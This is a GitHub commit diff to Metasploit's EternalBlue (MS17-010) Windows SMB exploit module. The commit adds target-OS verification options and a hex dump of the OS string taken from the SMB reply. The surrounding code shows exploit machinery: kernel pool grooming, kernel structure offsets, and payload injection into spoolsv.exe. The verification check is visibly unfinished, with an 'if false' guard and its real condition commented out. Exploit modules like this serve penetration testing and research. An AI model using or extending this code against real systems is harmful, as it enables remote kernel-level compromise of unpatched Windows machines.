Skip to content

Commit 6fb4040

Browse files
author
zerosum0x0
committed
add core buffer dump for OS version
1 parent 1f4ff30 commit 6fb4040

File tree

1 file changed

+67
-12
lines changed

1 file changed

+67
-12
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 67 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -60,11 +60,12 @@ def initialize(info = {})
6060
'Platform' => 'win',
6161
'Targets' =>
6262
[
63-
[ 'Windows 7 and Server 2008 (x64) All Service Packs',
63+
[ 'Windows 7 and Server 2008 R2 (x64) All Service Packs',
6464
{
6565
'Platform' => 'win',
6666
'Arch' => [ ARCH_X64 ],
6767

68+
'os_patterns' => ['Server 2008 R2', 'Windows 7'],
6869
'ep_thl_b' => 0x308, # EPROCESS.ThreadListHead.Blink offset
6970
'et_alertable' => 0x4c, # ETHREAD.Alertable offset
7071
'teb_acp' => 0x2c8, # TEB.ActivationContextPointer offset
@@ -82,7 +83,9 @@ def initialize(info = {})
8283
OptString.new('ProcessName', [ true, 'Process to inject payload into.', 'spoolsv.exe' ]),
8384
OptInt.new( 'MaxExploitAttempts', [ true, "The number of times to retry the exploit.", 3 ] ),
8485
OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ),
85-
OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] )
86+
OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ),
87+
OptBool.new( 'VerifyTarget', [ true, "Check if remote OS matches exploit Target.", true ] ),
88+
OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] )
8689
])
8790
end
8891

@@ -133,14 +136,6 @@ def exploit
133136
end
134137
end
135138

136-
#
137-
# Increase the default delay by five seconds since some kernel-mode
138-
# payloads may not run immediately.
139-
#
140-
def wfs_delay
141-
super + 5
142-
end
143-
144139
def smb_eternalblue(process_name, grooms)
145140
begin
146141
# Step 0: pre-calculate what we can
@@ -150,9 +145,16 @@ def smb_eternalblue(process_name, grooms)
150145

151146
# Step 1: Connect to IPC$ share
152147
print_status("Connecting to target for exploitation.")
153-
client, tree, sock = smb1_anonymous_connect_ipc()
148+
client, tree, sock, os = smb1_anonymous_connect_ipc()
154149
print_good("Connection established for exploitation.")
155150

151+
if not verify_target(os)
152+
return
153+
end
154+
155+
#if not verify_arch
156+
#end
157+
156158
print_status("Trying exploit with #{grooms} Groom Allocations.")
157159

158160
# Step 2: Create a large SMB1 buffer
@@ -207,6 +209,52 @@ def smb_eternalblue(process_name, grooms)
207209
end
208210
end
209211

212+
def verify_target(os)
213+
ret = true
214+
215+
if datastore['VerifyTarget']
216+
if false
217+
los = os.downcase
218+
#if los.include 'server 2008 r2' or os =~ /windows 7/i
219+
print_warning("Target OS selected not valid for OS indicated by SMB reply")
220+
print_warning("Disable VerifyTarget option to proceed manually...")
221+
ret = false
222+
end
223+
print_status("Target OS selected valid for OS indicated by SMB reply")
224+
end
225+
226+
# cool buffer print no matter what, will be helpful when people post debug issues
227+
print_core_buffer(os)
228+
229+
return ret
230+
end
231+
232+
def print_core_buffer(os)
233+
os = os.gsub("\x00", '') # don't do the unicode
234+
os << "\x00" # but original has a null
235+
236+
print_status("CORE raw buffer dump (#{os.length.to_s} bytes)")
237+
238+
count = 0
239+
chunks = os.scan(/.{1,16}/)
240+
chunks.each do | chunk |
241+
hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, "0") }.join(" ")
242+
243+
format = "0x%08x %-47s %-16s" % [(count * 16), hexdump, chunk]
244+
print_status(format)
245+
count += 1
246+
end
247+
end
248+
249+
#
250+
# Increase the default delay by five seconds since some kernel-mode
251+
# payloads may not run immediately.
252+
#
253+
def wfs_delay
254+
super + 5
255+
end
256+
257+
210258
def smb2_grooms(grooms, payload_hdr_pkt)
211259
grooms.times do |groom_id|
212260
gsock = connect(false)
@@ -232,9 +280,16 @@ def smb1_anonymous_connect_ipc()
232280

233281
client.user_id = response.uid
234282

283+
284+
# todo: RubySMB throwing exceptions
285+
# sess = RubySMB::SMB1::Packet::SessionSetupResponse.new(raw)
286+
os = raw.split("\x00\x00")[-2]
287+
# todo: rubysmb should set this automatically?
288+
#client.peer_native_os = os
289+
235290
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
236291

237-
return client, tree, sock
292+
return client, tree, sock, os
238293
end
239294

240295
def smb1_large_buffer(client, tree, sock)

0 commit comments

Comments
 (0)